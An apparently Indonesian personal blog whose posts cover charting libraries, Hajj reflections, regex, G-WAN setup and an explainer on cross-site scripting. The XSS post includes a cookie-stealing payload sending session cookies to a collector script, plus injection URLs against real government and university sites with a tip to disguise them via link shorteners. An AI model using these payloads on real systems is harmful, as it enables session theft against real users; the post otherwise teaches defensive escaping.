Ultimate Javascript Charting and Graphic Library List

Charting

Saya menghabiskan waktu yang cukup lama untuk menentukan Charting Library apa yang harus saya pakai pada project kali ini. Karena dalam menentukan sesuatu yang ingin kita pakai(dalam kasus kali ini yang dimaksud adalah Chart Library dan bukan yang lain) tentunya tidaklah mudah karena setiap orang memiliki selera yang berbeda-beda, serta kemampuan yang berbeda juga. Kemampuan yang saya maksud adalah Skill, Uang dan Waktu. Contohnya saja jika project yang sedang dikerjakan memiliki budget yang besar, maka saya tidak ambil pusing karena saya bisa membeli lisensi charting yang bagus(HighChart contohnya). Namun berbeda ketika budget yang dimiliki tidak banyak, maka kita harus mencari alternatif yang Free.

Posting kali ini bukan bertujuan untuk membahas Uang, atau bahkan tutorial membuat charting, tapi lebih kepada list charting yang bisa anda pilih. Baiklah langsung saja saya list semua Charting dan graphic library yang sudah saya temukan dan kumpulkan link-nya,

Silahkan pilih sesuai selera, kebutuhan dan budget anda. Namun perlu diingat bahwa kompabilitas sangatlah penting, pastikan Chart atau graphic library yang anda pilih bisa berjalan mulus dan bagus pada IE 6!

Tolong jika ada yang terlewatkan, beritahu saya lewat kolom komentar dibawah.

Pengalaman menjadi Atheis saat beribadah Haji

Singkat cerita kemarin saya hampir saja menjadi Atheis. Iya Atheis ! Anda tidak usah heran jika saya hampir menjadi atheis. Jika orang lain mendapatkan hidayah, saya justru sebaliknya. Dan tahukah anda dimana saya berada waktu itu ? Mina, Makkah. Ya, waktu itu saya sedang melaksanakan ibadah Haji. Hal yang membuat saya hampir gila waktu itu, kenapa sekarang, kenapa saat ini, kenapa jauh-jauh saya datang ke tempat ini justru untuk menjadi orang yang tidak mempercayai tuhan ? Inikah hidayah ?

Setan memang hebat dan pintar, tapi saya lebih hebat lagi dari setan !. Jika anda bertanya, apa yang membuat saya hampir tidak mempercayai keberadaan tuhan ?. Jawabannya adalah sebuah “pertanyaan”. Ada sebuah pertanyaan yang tidak bisa saya jawab saat itu. Dan saya percaya anda pun tidak bisa menjawabnya, oleh karena itu lebih baik tidak perlu saya tulis disini.

Dua hari saya menderita dan hampir gila. lebih gila lagi ketika saya bertemu dengan orang-orang hebat dari seluruh dunia. Orang-orang mulia yang mustahil saya bisa bertemu mereka, tapi ketika saya bisa bertemu langsung dengan mereka, justru saya meragukan keberadaan tuhan. Salah satu-nya adalah Yusuf ‘Abdullah al-Qaradawi. *anda sungguh terlalu kalau tidak tahu siapa beliau tapi tahu siapa Ariel.

Saya mendapatkan kesempatan untuk bisa solat berjamaah disatu ruangan bersama Syeik Yusuf Al-Qaradawi,  Dan tentunya bisa bicara langsung untuk meminta jawaban atas pertanyaan saya. Namun sayangnya setiap kali saya bertemu orang-orang besar disana, selalu saja ada hal yang menghalangi, sehingga lengkap sudah penderitaan saya atas pertanyaan yang tidak saya ketahui jawabannya saat itu.

Anda mungkin bertanya bagaimana mungkin saya bisa bersama orang-orang sekelas Yusuf Al-Qaradawi ?. Singkat cerita 1 minggu sebelum ibadah haji dimulai saya mendapatkan undangan dari Muslim World League untuk melaksanakan ibadah haji. dan ternyata undangan ini untuk orang-orang beruntung dari seluruh dunia dan dijamu disana di satu tempat khusus tamu MWL, mungkin totalnya 160 orang dari seluruh dunia, dan hampir seluruh Top Islamic scholar(Ulama) ada disana setiap waktu.

Ditengah gejolak hati, fikiran, dan kegilaan ini, saya memutuskan menyendiri di kamar setelah letih dua hari mencari jawaban dengan orang-orang mulia ini tapi justru tidak mendapatkan kesempatan, padahal saya berada disatu tempat dengan mereka. Dalam kesendirian ini saya mulai berfikir, kenapa saya harus bertanya kepada orang ? Jika Nabi Ibrahim saja bisa mengetahui siapa Tuhan hanya dengan berfikir saja dan menggunakan otaknya, kenapa saya tidak bisa ?.

Dan ternyata benar, saya mendapatkan jawaban atas pertanyaan saya tanpa bertanya kepada orang, dan cukup menggunakan otak dan berfikir. Siapakah tuhan yang sebenarnya ? Apakah tuhan itu ada ? Dan semua itu terjawab.

Mungkin memang ada hikmahnya saya tidak mendapatkan kesempatan untuk bertanya, karena Tuhan yang sesungguhnya(Allah SWT), ingin saya bisa mengetahuinya sendiri. Inilah hidayah !.

Sekarang Iman saya sangatlah kuat, tidak tergoyahkan lagi oleh pertanyaan-pertanyaan sesat. Akal fikiran kita yang sederhana ini bisa mengantarkan kita kepada hakikat yang sebenarnya jika anda gunakan dengan benar dan ikhlas. Bayangkan jika ditambah dengan kekuatan ilmu, maka Iman pun akan semakin kuat.

Terima kasih Allah, engkau sudah memanggil hambamu ini yang penuh dosa untuk melaksakan ibadah Haji tanpa mengeluarkan uang sepeserpun.

Terima kasih Allah, engkau sudah mengizinkan hambamu ini yang penuh dosa untuk bisa melaksakan ibadah Haji bersama orang-orang mulia yang selama ini hanya bisa saya lihat di TV dan Internet saja.

Terima kasih Allah, engkau sudah memberiku akal fikiran agar bisa menyadari keberadaanmu. Engkau ada, Engkau Satu, Engkau maha segalanya.

Jika hambamu ini berbuat dosa, maka itu berjuta-juta kali lebih baik dibanding tidak mempercai keberadaanmu ya Allah. Terima kasih ya Allah

Mengenal lebih dalam XSS (Cross Site Scripting)

XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.

Penjelasan diatas saya ambil dari Wikipedia, jika anda masih bingung, maka hal yang terbaik adalah dengan memberikan contoh, silahkan copy code ini lalu jalankan.

<?php
session_start();
if(isset($_POST['submit']))
	echo $_POST['comment'].'<br>';
?>
<form action="comment.php" method="post"><textarea name="comment"></textarea>
<input type="submit" name="submit" value="Submit" /></form>

Standard bukan ? Baiklah sekarang coba masukkan code berikut pada comment, lalu submit

<script type="text/javascript">javascript:alert('fathihadi.net');</script>

Anda akan melihat Alert atau PopUp bukan ?(*kecuali anda mematikan javascript pada browser). Pada code awal kita sama sekali tidak memunculkan Alert, melainkan Alert ini masuk melalui User Input. Nah inilah yang disebut XSS, yaitu serangan injeksi script. Bayangkan jika facebook memiliki celah XSS seperti ini, siapapun teman anda yang iseng memasukkan script aneh ada wall post-nya, maka anda akan terganggu setiap kali membuka facebook.

Tentunya tujuan hacker mencoba serangan XSS bukan untuk mengganggu alias iseng, tapi untuk tujuan lain, yaitu mencuri session dan hal lainnya. Lalu bagaimana contohnya dengan XSS, hacker bisa mencuri session ?

Sebagai bukti, silahkan persiapkan satu file php baru, yaitu ‘get_all.php’. Pada skenario kali ini, kita akan mencuri PHPSESSID dari user yang sedang login dan mengirimkannya ke server kita

<?php
$file = 'submitted.txt';
$current = file_get_contents($file);
$current .= json_encode($_GET);
file_put_contents($file, $current);
?>

Perlu diketahui bahwa kita akan mencoba semuanya secara local, saya hanya memberikan bukti secara konsep. Dan pada serangan yang sesungguhnya, file get_all.php ini tidak akan berada di localhost, melainkan di hosting sungguhan. Sekarang mari kita coba masukkan code XSS berikut:

<script type="text/javascript">document.write('<img src="http://local.dev:8080/test/get_all.php?w=' + document.cookie + '" style="display:none;">');</script>

Code xss diatas akan membuat sebuah script img yang tidak terlihat, lalu browser akan mengirimkan session cookie ke alamat http://local.dev:8080/test/get_all.php

Berikut contoh PHPSESSID yang terkirimkan,

{"w":"PHPSESSID=3emh390v9sbp23thi2se3onr67"}

Jenis Serangan

Terdapat dua jenis serangan XSS, Persistent dan Non-Persistent. Pada contoh diatas, merupakan jenis serangan Persistent, yaitu serangan yang berupa permanen, karena script xss disimpan kedalam database atau secondary storage, dan setiap korban yang membuka halaman yang sudah terinfeksi akan terkena dampaknya juga. Sedangkan pada serangan Non-Persistent membutuhkan aktifitas social oleh si penyerang kepada calon korban, dan bersifat sementara(tidak permanen), Contohnya saya temukan pada situs Printing Office pemerintahan US.

http://www.gpo.gov/gpo/sitesearch/homedosite.action;jsessionid=gJhsRDgT5D1nG53Pv22Q2DPPv5Z29yBnZcLLYhVyFybv1Nnt6R7F!-1342791787?st=%22%3E%3Cimg%20src=%22https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E

Dan

http://google.nyu.edu/search?site=NYUWeb_Main&client=NYUWeb_Main&output=xml_no_dtd&proxyreload=1&proxystylesheet=stern_frontend&sitesearch=www.stern.nyu.edu&q=%22%3E%3Cimg+src%3D%22https%3A%2F%2Ffbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E&x=8&y=6

xss_us_printing

nyu_xss

Link diatas bisa dengan mudah saya pendekkan dengan menggunakan tinyurl service seperti bit.ly dan mengirimkannya kepada calon korban. Sekali lagi jangan bingung, karena contoh diatas hanya untuk pembuktian, dan Hacker bisa melakukan hal lain selain menaruh gambar.
Sekarang, bagaimana caranya kita mengetahui bahwa program yang kita tulis sudah benar-benar aman dari XSS ? Anda bisa mencobanya langsung dengan melakukan test satu persatu code XSS dari RSnake XSS cheatsheet dan HTML5 XSS cheatsheet.

Solusi

Jika anda terbiasa menggunakan htmlspecialchars(), maka sepertinya anda harus berfikir ulang, karena fungsi ‘htmlspecialchars’ tidaklah cukup untuk melakukan escaping. Menurut OWASP(Open Web Application Security Project), escaping untuk HTML seharusnya adalah sebagai berikut,

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;     &apos; tidak disarankan karena bukan merupakan bagian dari spesifikasi HTML (Lihat: section 24.4.1) &apos; merupakan bagian dari spesifikasi XML dan XHTML.
/ --> &#x2F;     forward slash juga harus diescape

Selain itu, tidak hanya HTML Entity saja yang harus diescape, melainkan HTML Attribute, URL, JavaScript, dan CSS Hex.

Jelas bahwa ‘htmlspecialchars’ saja tidak cukup. Saya akan membuat post lain yang khusus membahas Solusi XSS, mulai dari Escaping hingga Sanitizing.

Namun sebelum mengakhiri posting ini saya ingin menjelaskan mengenai XSS yang berada dalam File Gambar(jpg, png).

Image XSS

XSS Image yang saya maksud bukan berupa tag img pada html seperti,

<img alt="" src="javascript:alert('XSS');" />

Melainkan file Image seperti JPG, atau PNG. Anda mungkin bertanya, bagaimana mungkin file image bisa mengandung XSS?. Bisa!, anda bisa coba sendiri untuk membuka gambar apapun dengan Notepad atau HexEditor, lalu menghapus semuanya dan menggantikannya dengan XSS Code(atau ditambahkan diakhir).

hex image

hex image_after

Masalah ini sebenarnya hanya terjadi pada Internet Explorer versi 7 kebawah dan tidak dimiliki oleh Browser modern seperti Chrome dan Firefox, namun tetap kita harus menghindari masalah ini.

Berikut Tips untuk Image XSS :

  • Jangan simpan gambar pada domain yang sama dengan web, misalnya jika aplikasi web anda adalah ‘fathihadi.net’, maka simpan semua gambar di subdomain atau domain lain, misalnya ‘images.fathihadi.net’. Hal ini untuk melindungi pencurian cookie. PERHATIAN : Tips ini tidak menyelesaikan masalah !
  • Blok semua penggunaan Image. 😀 Tentunya tidak mungkin anda lakukan, jadi lupakan tips ini!
  • Gunakan Fungsi Manipulasi Gambar sebelum menyimpan gambar. Misalnya mengubah ukuran atau mengkompres Gambar. Ini merupakan cara paling ampuh.

Memang merepotkan bukan ? ini semua disebabkan oleh IE yang terlalu pintar karena mengeksekusi kode html dan javascript yang berapa dalam Image.

Semoga dengan membaca post ini anda bisa mendapatkan banyak gambaran mengenai Web Application Security. Post selanjutnya akan saya bahas solusinya secara mendalam

G-WAN Installation on Debian

Akhirnya setelah sekian lama saya menanti G-WAN untuk bisa mensuport PHP, dan sekarang sudah bisa(official). Menurut claim gwan, gwan sangatlah cepat dan ringan serta mengalahkan nginx dan varnish cache. Inilah yang membuat saya tertarik. Berhubung ada waktu luang, saya mencoba untuk menginstall G-WAN pada Debian(VM-Ware), dan cukup mudah ternyata.

Jangan lupa sebelum memulai, silahkan berdoa terlebih dahulu

  1. Install Debian terbaru.
    *Tutorial ini tidak mengikutsertakan cara menginstall Debian, silahkan anda cari sendiri di Google.
  2. Download gwan dari http://gwan.com/download.
    *Gunakan selalu 64bit jika OS yang anda gunakan adalah versi 64bit.
  3. Seteleh di download, silahkan extract di sebuah folder.
    *Jika anda menggunakan terminal/console, silahkan ketik lalu enter command berikut :

    su root
    wget http://gwan.com/archives/gwan_linux64-bit.tar.bz2
    tar -xjf gwan_linux64-bit.tar.bz2; cd gwan_linux64-bit

  4. Jika sudah, silahkan run saja dengan menjalankan file ‘gwan’

    ./gwan

  5. Jika anda menemukan error pada ‘kv_bench.c’, ini dikarenakan sqlite3 tidak terinstall atau tidak terinstall dengan baik. Jadi pastikan anda sudah menginstall sqlite3, namun jika ternyata sudah diinstall namun masih terdapat error, berarti anda harus menjalankan command berikut

    ln /usr/lib/libsqlite3.so.0 /usr/lib/libsqlite3.so

  6. Silahkan jalankan kembali gwan

Perlu diingat bahwa document root berada pada folder ‘0.0.0.0_8080’

gwan localhost

Next post saya akan membahas lebih lanjut g-wan

Maaf jika tutorial ini tidak lengkap dan terkesan asal-asalan 😀

REST extension/addons untuk Chrome dan Firefox

Jika anda sedang bermain-main dengan REST API, pasti anda membutuhkan sebuah applikasi untuk  mencobanya. Saya sangat menyarankan untuk menggunakan extension/addons pada browser karena akan memudahkan anda untuk mengintip dokumentasi API tersebut, yang biasanya juga diakses menggunakan browser. Saya sudah mencoba berbagai extension/addons pada browser untuk tujuan REST API Testing, dan menemukan banyak bugs pada beberapa extension/addons. Sehingga saya ingin berbaik hati untuk sharing REST API extension/addons yang well tested.

 

Chrome

Rest Console

Rest Console

 

Firefox

REST Client

Rest Client

 

Dua itu yang sudah saya test dan cukup baik dan stabil, yang lain banyak bugs dan tidak stabil.

Btw jika anda terbiasa dengan console, silahkan gunakan cURL

 

Happy Exploring :)

Arafah dan Samsung Galaxy S 3 serta Laptop core i5

Alhamdulillah kemarin saya bisa menunaikan ibadah Haji secara Gratis. Sebagai rasa syukur, saya memberitahukan keberangkatan saya kesejumlah sahabat agar mereka mendoakan saya serta menitipkan doa, untuk saya bacakan di Padang Arafah, karena pada hari itu, semua doa pasti dikabulkan. Banyak yang bisa saya ceritakan, namun pada posting kali ini saya kan fokus menceritakan mengenai titipan doa.

Titipan doa yang saya bawa kesana totalnya 7 lembar dari beberapa orang, singkat cerita pada hari yang dinanti itu, sebelum saya berdoa untuk diri saya, saya sengaja membuka kertas dan mulai berdoa sesuai titipan yang ada. Dari keseluruhan doa, hanya ada dua orang yang doanya tidak lazim.

Doa aneh pertama dari sahabat saya adalah agar dia bisa menjadi Kaji(Pembuat Pedang ala Jepang). Saya sangat menghargai doa yang satu ini, karena setiap orang mempunyai impian dan cita-citanya masing-masing. Selain itu saya menemukan keterangan pada kertas tersebut bahwa alasan ia ingin menjadi Kaji adalah karena ia sangat percaya bahwa pada akhir zaman nanti, peperangan akan kembali menggunakan pedang. 100% saya sangat menghormati doa ini dan tidak menganggapnya aneh setelah mengetahui alasannya.

Doa paling aneh selanjutnya adalah doa dari teman berupa 3 point, yaitu :

  • Samsung Galaxy S 3
  • Laptop core i5
  • Rezeki tidak terduga

Sungguh saya tertawa dibuatnya, cukup singkat, tepat dan padat titipan doanya, dan tanpa basa basi. Dalam fikiran saya, ini doa paling tidak mainstream menurut saya, karena biasanya orang berdoa untuk kesehatan, jodoh, karir dan lain sebagainya, tapi ini sungguh berbeda.

Singkat cerita sepulang ibadah haji, kurang lebih 2 minggu, saya mendapatkan inbox berupa ucapan terima kasih karena sudah di doakan. Lalu saya bertanya kenapa. Ternyata semua doanya terkabul, Samsung Galaxy S3, Laptop core i5 dan Rezeki tidak terduga telah terkabul dalam kurun waktu kurang dari 1 minggu dan sekaligus semuanya!.

Saya kehabisan kata-kata untuk mengomentarinya, terdengar aneh tapi Sesuai janji Allah, tidak ada doa yang tidak terkabul, terutama di tempat-tempat tertentu, seperti Padang Arafah, Maqam Ibrahim, Raudah, dll. Andaikan teman saya itu berdoa yang lebih banyak dan lebih besar, pasti sudah terkabul juga.

Pelajaran yang bisa kita petik dari kisah ini adalah, jangan menyepelekan kekuatan doa dan tempat, serta janji yang Allah berikan. Tidak ada doa yang tidak terkabul

**UPDATE**

Sebagai bukti saya printscreen inbox dari teman saya ini, beserta foto Samsung Galaxy S

chat samsung galaxy s3

Pada chat mungkin bisa kita lihat bahwa teman saya ini memutuskan untuk membeli handphone yang lebih murah, dan benar dia membeli handphone yang lebih murah untuk menghemat uangnya, tapi sekali doa terucap maka tidak bisa digantikan begitu saja. Setelah membeli handphone yang lebih murah, teman saya ini mampu membeli (lagi) Handphone, yaitu Samsung Galaxy S3. Sekarang ada dua handphone dan Laptop core i5 😀

Pak Hasan dengan Istrinya yang Sakit Jiwa

Dua minggu sekali Pak hasan biasanya selalu datang kerumah membawa beberapa Ayam Kampung hidup untuk di potong dirumah saya.

Pak hasan tinggal di depok, dia berumur 75 tahun dengan kesehatan yang MasyaAllah semoga diberikan panjang umur dan berkah atas umur dan kesehatannya, hal ini terbukti dengan kendaraan yang ia gunakan dari depok ke rumah saya yang berada di salemba, yaitu Sepeda.

Iya betul, pak hasan dengan sepeda-nya serta keranjang ayamnya yang diikat dibelakang sepedanya, datang dari depok. Bayangkan saja seumuran pak hasan ini jauh-jauh berangkat dari depok mengayuhkan sepeda untuk menjual ayam, tidak perduli hujan atau panas.

Tentunya dia sudah punya anak dan cucu. Lalu apa alasan pak hasan masih bekerja dengan menjual ayam kampung kerumah rumah ? bukan karena anak-anaknya yang sudah berkeluarga pastinya, tapi karena Pak hasan mempunyai istri yang terkena gangguan jiwa, sebab cintanya ini dia tetap merawat istrinya, dan membutuhkan uang. ketika ditanya kenapa tidak menaruh saja istrinya dirumah sakit jiwa, dia menjawab bahwa dia yakin bahwa dia masih sanggup merawat istrinya.

Hari ini saya lebih terharu ketika ibu saya bertanya mengenai kabar istrinya, berikut ucapan pak hasan yang tidak saya ubah karena baru berselang 15 menit yang lalu. “Ya gitu deh madam, masih belum berubah sakit jiwanya. Abis gimana yah, saya suka sedih kalau ke acara nikahan, gak sama istri saya gak enak madam, biasanya kita berdua, sekarang saya sendiri, gak enak madam”.

Mendengar jawaban tulusnya, saya terdiam dan sangat terharu, ternyata masih ada kesetian hari ini. Walaupun istrinya sakit jiwa, tapi cintanya tidak berubah. Sungguh berbeda dengan para muda mudi jaman ini, dimana kesetiaan sudah susah untuk ditemukan.

Karena kesetian perlu pembuktian dan pengorbanan, bukan hanya sekedar kata-kata manis.

Regex lookbehind and negative lookahead

Lookbehind dan lookahead mungkin bukan kata yang asing, artinya mudah dimengerti, lihat kebelakang dan lihat kedepan :D. Tapi dalam regex(REGular EXpression), lookbehind dan lookahead digunakan untuk mencocokkan suatu pola sebelum atau sesudah ekspresi utama diberikan. Sekali lagi perlu diingat, regex bukanlah simbol aneh seperti hieroglyph, jadi kalau anda ingin belajar atau memperdalam Regex, maka hapuslah anggapan ‘regex susah’ dari otak anda sebelum anda memulainya.

Lookbehind dan lookahead mempunyai nilai positif dan negatif.

Positive Lookbehind(?<=ABC) akan menyertakan hasil ekspresi/pola utama jika syarat pola yang diberikan sebelum ekspresi utama terpenuhi.

contoh : jika sebelum kata ‘fathi’ terdapat kata ‘ahmad’ maka pola ini cocok.

Negative lookbehind(?<!ABC) akan mengabaikan hasil ekspersi/pola utama jika syarat pola yang diberikan sebelum ekspresi utama terpenuhi.

contoh : jika sebelum kata ‘fathi’ terdapat kata ‘hadi’ maka pola ini tidak cocok.

Positive Lookahead(?=ABC) akan menyertakan hasil ekspresi/pola utama jika syarat pola yang diberikan sesudah ekspresi utama terpenuhi.

contoh : jika setelah kata ‘fathi’ terdapat kata ‘hadi’ maka pola ini cocok.

Negative Lookahead(?!ABC) akan mengabaikan hasil ekspersi/pola utama jika syarat pola yang diberikan setelah ekspresi utama terpenuhi.

contoh : jika setelah kata ‘fathi’ terdapat kata ‘hadi’ maka pola ini tidak cocok.

 

Nah saya akan beri contoh super mudah dalam Sintax Regex yang sesungguhnya.

Saya mempunyai Text seperti berikut :

Ahmad
Fathi
Hadi
Ahmad Fathi
Fathi Hadi
Ahmad Fathi Hadi

Jika saya ingin mencari kata ‘Fathi’ maka sintax Regexnya sangat simple, yaitu ‘Fathi’.

Lalu bagaimana jika saya ingin mencari kata ‘Fathi’ yang sebelumnya ada kata ‘Ahmad’ ? Untuk melakukannya, kita membutuhkan sintax lookbehind(positive) yaitu ‘(?<=Ahmad )Fathi’, maka baris 4 dan 6 lah yang cocok.

Jika kita ingin mencari kata ‘Fathi’ yang sebelumnya tidak ada kata ‘Ahmad’ maka kita membutuhkan sintax lookbehind(negative), yaitu ‘(?<!Ahmad )Fathi’, maka baris 2 dan 5 lah yang cocok.

Jika kita ingin mencari kata ‘Fathi’ yang sesudahnya ada kata ‘Hadi’, maka kita akan menggunakan lookahead(positive), yaitu ‘Fathi(?= Hadi)’, maka baris 5 dan 6 yang cocok.

Jika kita ingin mencari kata ‘Fathi’ yang sesudahnya tidak ada kata ‘Hadi’, maka kita akan menggunakan lookahead(negative), yaitu ‘Fathi(?! Hadi)’, maka baris 2 dan 4 yang cocok.

Selanjutnya anda juga bisa menggabungkan lookbehind dan lookahead, misalnya anda ingin mencari kata ‘Fathi’ yang sebelumnya ada kata ‘Ahmad’ dan sesudahnya terdapat kata ‘Hadi’. Sintaxnya adalah berikut ‘(?<=Ahmad )Fathi(?= Hadi)’, yang cocok adalah baris 6 karena lengkap.

 

Saya akan berikan contoh penerapan lookbehind dan lookahead pada aplikasi yang ingin mencari twitter username, polanya adalah @username. namun kita harus menggunakan bantuan lookbehind dan lookahead agar pola email tidak tertangkap(ahmad@fathihadi.net).

Saya sudah test untuk twitter @username berikut sintax regexnya(saya tidak mengcopy-nya dari manapun, melainkan murni berfikir dan mencobanya, dan mungkin polanya bisa salah untuk beberapa kemungkinan)

(?<=\s)@\w+(?!\S)

 

Semoga bermanfaat :)

* Jika anda tidak faham berarti saya yang tidak pintar dalam menulis, bukan karena anda yang kurang pintar.

* Tools untuk mencobanya secara online adalah link ini http://gskinner.com/RegExr/

Mengatasi Crash Pada Microsoft Office 2012

Sebelumnya terima kasih kepada Microsoft Indonesia yang telah mensuport Tandif(startup yang sedang saya bangun) dengan memberikan kami akses Microsoft BizPark. Sebagai Bonus Semua anggota Tandif diberikan dukungan untuk memakai semua product Microsoft dari Mulai OS Windows, Office, hingga Visual Studio secara gratis. Sekali lagi terima kasih atas dukungannya.

Well, Tadi malam saya mencoba untuk mendownload Microsoft Office 2013, setelah di Install ternyata Selalu Crash ketika di jalankan. Dalam hati sih kesal, tapi tidak tahu terima kasih namanya kalau mengeluh, dari pada mengeluh lebih baik cari solusi, dan ternyata cukup mudah solusinya karena Add-Ins untuk Adobe PDF masih belum stabil untuk Office 2013, atau mungkin bisa dibalik bahwa sebenarnya Office 2013 yang tidak stabil :D.

Solusi :

  • Pastikan anda menggunakan Serial Number ASLI.
  • Pastikan anda sudah menutup semua aplikasi Office
  • Lalu tekan Start > All Programs > Accessories > Run
  • Pada program Run, ketik “winword /safe” (tanpa tanda kutip, dan pastikan spasi sebelum tanda /)
  • Kini Office Word sudah terbuka, lalu Klik File > Options > Add-ins.
  • Dibawah anda akan melihat Combo Box/Option List untuk Manage, pastikan pilih ‘COM Add-ins‘, lalu klik Go
  • Hilangkan semua Check list yang ada disana, lalu klik OK
  • Silahkan coba kembali untuk membuka Office dengan cara normal(bukan safe mode)

Pembuktian Hadis kesegaran solat subuh

En/Narrated by Abu Huraira,
That Allah’s Apostle(pbuh) has said:

“Satan puts three knots at the back of the head of any of you if he is asleep. On every knot he reads and exhales the following words, ‘The night is long, so stay asleep.’
When one wakes up and remembers Allah, one knot is undone,
and when one performs ablution, the second knot is undone,
and when one prays the third knot is undone and one gets up energetic with a good heart in the morning;
Otherwise one gets up lazy and with a mischievous heart.”

Id/Diriwayatkan oleh Abu Huraira,
Rasulillah SAW telah bersabda:

“Apabila salah seorang dari kamu tidur, syaitan akan mengikatnya dengan 3 ikatan seraya berkata ‘bagimu malam yang panjang maka tidurlah’.
(ketiga-tiga ikatan tersebut menjadikan dia terlelap dalam tidurnya sepanjang malam). Akan tetapi apabila dia terjaga kemudian dia menyebut nama Allah, maka terpisahlah ikatan pertama.
Kemudian apabila dia berwudhu , maka terlepas ikatan kedua, dan akhirnya jika dia melakukan solat (subuh), maka terlepaslah ketiga-tiga ikatan.
Pada pagi itu harinya penuh bersemangat. Akan tetapi jika dia tidur sehingga subuh, maka pada pagi harinya jiwanya akan kotor dan menjadikan dirinya malas.”

Sahih Bukhari 2.243

Selama ini terus terang saya masih jarang solat subuh tepat waktu, terkadang jam 5, jam 6 dan sering pula tepat waktu(bukan pembelaan). Sempat suatu hari saya membaca sebuah hadis mengenai apa yang setan lakukan pada waktu solat fajr(subuh). Saya menjadi berfikir karena pada akhir hadis menyatakan jika solat fajr tepat waktu maka hari ini kita akan menjadi bersemangat, jika tidak maka akan malas. Well sangat menarik karena memang saya merasakan hari-hari dimana saya bangun telat itu biasanya ya jadi malas sepanjang hari. Lalu bagaimana dengan solat Fajr tepat waktu ? apa betul akan bersemangat ? Sampai saya coba beberapa kali dan ternyata memang benar, hari itu penuh semangat dan gairah. Tidak hanya itu saja, tapi hidup pada hari itu menjadi berkah dan produktif. Sangat berbeda dengan hari dimana saya terlambat solat Fajr.

Kalau kamu mau kreatif, produktif, semangat dan hidup berkah, silahkan buktikan sendiri dengan solat Fajr tepat waktu(bagi laki-laki di Masjid ya)!.

Pandangan saya berubah mengenai solat Fajr tepat waktu, bukan sebagai suatu kewajiban, tapi sebagai suatu kebutuhan.

Semoga kita semua diberi Hidayah